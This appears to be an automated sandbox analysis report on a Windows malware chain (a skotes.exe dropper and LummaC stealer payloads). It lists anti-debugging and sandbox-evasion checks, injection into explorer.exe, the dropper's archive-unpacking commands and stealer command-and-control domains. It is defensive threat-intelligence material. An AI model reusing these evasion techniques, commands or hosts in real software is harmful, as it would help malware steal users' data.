Source: 4fa13d4e43.exe, 00000027.00000003.3265856214.0000000005384000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 8b77671daf.exe, 0000002D.00000002.3345216171.000000000113E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2146309411.0000000000616000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2172509859.0000000000976000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmp, 0ef66f58de.exe, 00000026.00000002.3161107403.00000000016C1000.00000040.00000001.01000000.00000010.sdmp, 4fa13d4e43.exe, 00000027.00000002.3342910100.00000000006B4000.00000040.00000001.01000000.00000011.sdmp, 8b77671daf.exe, 0000002D.00000002.3343143690.0000000000629000.00000040.00000001.01000000.00000012.sdmp, 4fa13d4e43.exe, 0000002E.00000002.3342410001.00000000006B4000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 4fa13d4e43.exe, 00000027.00000003.3266400046.0000000005310000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort
Source: C:\Windows\explorer.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04920341 rdtsc

0_2_04920341

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Code function: 23_2_002B8077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

23_2_002B8077

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_00402665 LoadLibraryA,GetProcAddress,GetNativeSystemInfo,

6_2_00402665

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045652B mov eax, dword ptr fs:[00000030h]	0_2_0045652B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0045A302 mov eax, dword ptr fs:[00000030h]	0_2_0045A302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007BA302 mov eax, dword ptr fs:[00000030h]	2_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_007B652B mov eax, dword ptr fs:[00000030h]	2_2_007B652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007BA302 mov eax, dword ptr fs:[00000030h]	5_2_007BA302
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 5_2_007B652B mov eax, dword ptr fs:[00000030h]	5_2_007B652B
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002CE1A9 mov edi, dword ptr fs:[00000030h]	23_2_002CE1A9
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B17D0 mov edi, dword ptr fs:[00000030h]	23_2_002B17D0

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Code function: 23_2_002B9E16 GetProcessHeap,

23_2_002B9E16

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B8077 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_002B8077
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B39E5 SetUnhandledExceptionFilter,	23_2_002B39E5
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B39F1 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	23_2_002B39F1
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Code function: 23_2_002B2F82 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	23_2_002B2F82

Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 8b77671daf.exe PID: 1048, type: MEMORYSTR

Contains functionality to inject code into remote processes

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Code function: 23_2_002CE1A9 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,CreateProcessW,CreateProcessW,VirtualAlloc,VirtualAlloc,GetThreadContext,Wow64GetThreadContext,ReadProcessMemory,ReadProcessMemory,VirtualAllocEx,VirtualAllocEx,GetProcAddress,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,WriteProcessMemory,SetThreadContext,Wow64SetThreadContext,ResumeThread,ResumeThread,

23_2_002CE1A9

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe

Memory written: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe base: 400000 value starts with: 4D5A

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4080 base: F19010 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140000000 value: 4D
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140001000 value: 40
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 1402DD000 value: 58
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 14040B000 value: A4
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140739000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 14075E000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 14075F000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140762000 value: 48
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140764000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: 140765000 value: 00
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Memory written: PID: 4336 base: A84010 value: 00

LummaC encrypted strings found

Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: debonairnukk.xyz
Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: diffuculttan.xyz
Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: effecterectz.xyz
Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: deafeninggeh.biz
Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: immureprech.biz
Source: 4fa13d4e43.exe, 00000027.00000002.3342622041.00000000004E1000.00000040.00000001.01000000.00000011.sdmp	String found in binary or memory: tacitglibbr.biz

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 4080
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Thread register set: target process: 4336

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe "C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe "C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe "C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe "C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe "C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe	Process created: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe "C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: 6_2_00402744 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

6_2_00402744

Source: 0ef66f58de.exe, 00000026.00000002.3161107403.00000000016C1000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: nProgram Manager
Source: 4fa13d4e43.exe, 00000027.00000002.3342910100.00000000006B4000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: &Program Manager
Source: file.exe, 00000000.00000002.2146567461.0000000000659000.00000040.00000001.01000000.00000003.sdmp, skotes.exe, 00000002.00000002.2172737981.00000000009B9000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: (Program Manager

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_0079DD91 cpuid

5_2_0079DD91

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

Code function: GetLastError,GetLastError,wsprintfW,GetEnvironmentVariableW,GetEnvironmentVariableW,GetLastError,??2@YAPAXI@Z,GetEnvironmentVariableW,GetLastError,lstrcmpiW,??3@YAXPAX@Z,??3@YAXPAX@Z,SetLastError,lstrlenA,??2@YAPAXI@Z,GetLocaleInfoW,_wtol,MultiByteToWideChar,

6_2_0040247D

Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015994001\f384e6dcaa.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015996001\0ef66f58de.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1015999001\7a038f1d9b.exe VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015995001\153848897b.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015997001\4fa13d4e43.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1015998001\8b77671daf.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_0043CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_0043CBEA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 5_2_007C2517 GetTimeZoneInformation,

5_2_007C2517

Source: C:\Users\user\AppData\Local\Temp\1015993001\8fdf5f1a62.exe

